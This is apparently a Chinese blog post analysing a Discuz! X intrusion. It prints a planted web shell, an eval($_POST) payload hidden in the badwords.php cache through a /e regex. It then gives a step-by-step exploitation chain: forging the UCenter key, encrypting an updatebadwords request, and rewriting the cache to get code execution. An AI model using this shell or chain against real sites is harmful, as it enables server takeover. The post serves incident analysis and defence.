忽然有同事反饋,沒法註冊php
看到這裏不瞭解的同行估計一年懵逼,這裏也是經常使用的漏洞攻擊,能夠確定的是 badwords.php文件被修改了 ,能夠查看這個文件內容正則表達式
<?php $_CACHE['badwords'] = array ( 'findpattern' => array ( 'balabala' => '/.*/e', ), 'replace' => array ( 'balabala' => 'eval($_POST[whoami]);', ), );
果真這裏被篡改了 shell
這個文件路徑在:uc_client/data/cache/badwords.phpapi
正常的文件內容爲app
<?php $_CACHE['badwords'] = array ( );
首先須要作的是把這個文件改回來,而後堵住漏洞post
這個問題的根源在於api/uc.php文件中的updatebadwords方法,代碼以下:ui
function updatebadwords($get, $post) { global $_G; if(!API_UPDATEBADWORDS) { return API_RETURN_FORBIDDEN; } $data = array(); if(is_array($post)) { foreach($post as $k => $v) { $data['findpattern'][$k] = $v['findpattern']; $data['replace'][$k] = $v['replacement']; } } $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php'; $fp = fopen($cachefile, 'w'); $s = "
badwords
用的地方比較少,主要集中在uc的pm和user模塊中。this
這裏用user來舉例,在uc_client/model/user.php
文件中有一個check_usernamecensor
方法,來校驗用戶名中是否有badwords,若是有的話就將他替換掉,代碼以下:編碼
function check_usernamecensor($username) { $_CACHE['badwords'] = $this->base->cache('badwords'); $censorusername = $this->base->get_setting('censorusername'); $censorusername = $censorusername['censorusername']; $censorexp = '/^('.str_replace(array('\\*', "\r\n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i'; $usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username; if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) { return FALSE; } else { return TRUE; } }
能夠看到代碼中使用了preg_replace,那麼若是咱們的正則表達式寫成「/.*/e",就能夠在使用這個方法的地方進行任意代碼執行了。而這個方法在disucz中,只要是添加或者修改用戶名的地方都會用到。加密
首先咱們們訪問api/uc.php
,以後咱們會發現uc處理機制中比較討厭的環節——用戶傳遞的參數須要通過UC_KEY
加密:
if(!defined('IN_UC')) { require_once '../source/class/class_core.php'; $discuz = C::app(); $discuz->init(); require DISCUZ_ROOT.'./config/config_ucenter.php'; $get = $post = array(); $code = @$_GET['code']; parse_str(authcode($code, 'DECODE', UC_KEY), $get);
因此這裏須要有個前提,須要知道UC_KEY或者能夠操控UC_KEY。那麼問題來了,咱們要怎麼達到這個前提呢?
咱們在後臺中站長->UCenter
設置中發現有「UCenter 通訊密鑰
」這個字段,這是用於操控discuz和uc鏈接的app key,而非高級的uc_server key,不過對於咱們getshell來講足夠了。在這裏修改成任意值,這樣咱們就獲取到了加密用的key值了。
能夠看下配置文件,祕鑰已經發生變化
文件路徑爲:config/config_ucenter.php
而後咱們在本身搭建的discuz的api/uc.php
文件中添加兩行代碼,來加密get請求所須要的內容:
$a = 'time='.time().'&action=updatebadwords'; $code = authcode($a, 'ENCODE', 'R5vcQ374u2C2W6K7V7r9u1T7P6f9F5o2ObW6x1X0OeY7bfv5Mag4Yb6bf658D0d5'); echo $code; exit;
而後用post方法向api/uc.php發送帶有正則表達式信息的xml數據包,請求頭中有兩個地方須要注意,一個是formhash,一個是剛纔獲取的code須要進行一次url編碼
發送後能夠發現uc_client/data/cache
目錄下的badwords.php
內容就變了:
<?php $_CACHE['badwords'] = array ( 'findpattern' => array ( 'balabala' => '/.*/e', ), 'replace' => array ( 'balabala' => 'eval($_POST[whoami]);', ), );
以後利用方法就有不少種了,能夠經過增長一個用戶來實現代碼執行,也能夠經過發消息的方式來觸發,或者用戶註冊
一、影響範圍我的評價爲「高」,Discuz! X系列使用範圍極廣
二、這個漏洞不僅是單純的後臺代碼執行,在uc_app key泄露的狀況下也是能夠利用的
限制用戶提交正則表達式的內容
不容許這用就對了